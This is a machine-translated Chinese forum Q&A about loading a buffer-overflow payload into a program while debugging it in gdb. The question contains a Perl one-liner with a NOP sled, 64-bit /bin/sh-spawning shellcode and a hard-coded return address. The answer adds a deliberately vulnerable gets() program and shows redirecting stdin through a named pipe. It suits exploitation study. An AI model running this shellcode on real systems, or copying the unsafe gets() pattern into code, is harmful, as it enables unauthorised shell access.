如何在gdb中动态插入复杂输入

问题描述:

我需要插入shellcode及其地址,但是我只能在gdb中运行程序后才能检测到缓冲区的地址。如何在gdb中动态插入复杂输入

输入很复杂。如果我知道的地址,我会跑的程序是这样的:

perl -e 'print "\x90" x 8152; 
print "\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"; 
print "\x70\xa1\x4c\xa9\xff\x7f\x00\x00"' | a.out 

当第一次印刷是空指令,第二个是的shellcode(64位),最后打印是返回地址。为了提高可读性,我将输入分为三行。

我知道我通常需要猜测地址(并且多次运行此输入),但是我不知道如何在运行程序(通过运行)后动态地插入这样的输入。

我搜索了解决方案,但没有成功。输入重定向对我来说不起作用,因为我应该在程序运行之前重定向它,因此我看不到内存并检测到返回地址的保存位置。

我也尝试命名管道,但没有成功。

我还试图找到一种方法来获取有关程序运行的内存的信息,然后在调试器中实际运行它之前。

任何意见将不胜感激。

我只知道一个有点费力的方式,用命名管道关闭并在gdb中重新打开fd 0。

以下是节目中,我们将进行调试:

#include <stdio.h> 
int func(){ 
    char buf[128]; 
    gets(buf); 
    return 0; 
} 

int main(int argc, char *argv[]){ 
     func(); 
     return 0; 
} 

我们用gdb打开它,并在某个地址,以便我们需要收集的信息设置一个断点:

$ gdb ./lol 
gdb$ br func 
Breakpoint 1 at 0x400501 
gdb$ r 
Breakpoint 1, 0x0000000000400501 in func() 
gdb$ x/x $esp 
... 

现在,如果我们有构建我们的输入字符串,并准备将其提供给程序,我们打开一个新的外壳,创建一个命名管道,并派我们投入它:

​​

早在GDB我们现在已经接近FD 0(STDIN),然后打开我们的管道作为FD 0:

gdb$ p close(0) 
$1 = 0x0 
gdb$ p open("/tmp/ourpipe",0600) 
$2 = 0x0 

如果我们现在继续,我们的程序将读取从管道传来的数据:

gdb$ c 
Continuing. 

Program received signal SIGSEGV, Segmentation fault. 

gdb$ info frame 
Stack level 0, frame at 0x7fffffffdcc8: 
rip = 0x400517 in func; saved rip 0x4443424144434241 
called by frame at 0x7fffffffdcd8 
Arglist at 0x4443424144434241, args: 
Locals at 0x4443424144434241, Previous frame's sp is 0x7fffffffdcd0 
Saved registers: 
rip at 0x7fffffffdcc8 
gdb$ x/x 0x7fffffffdcc8 
0x7fffffffdcc8: 0x44434241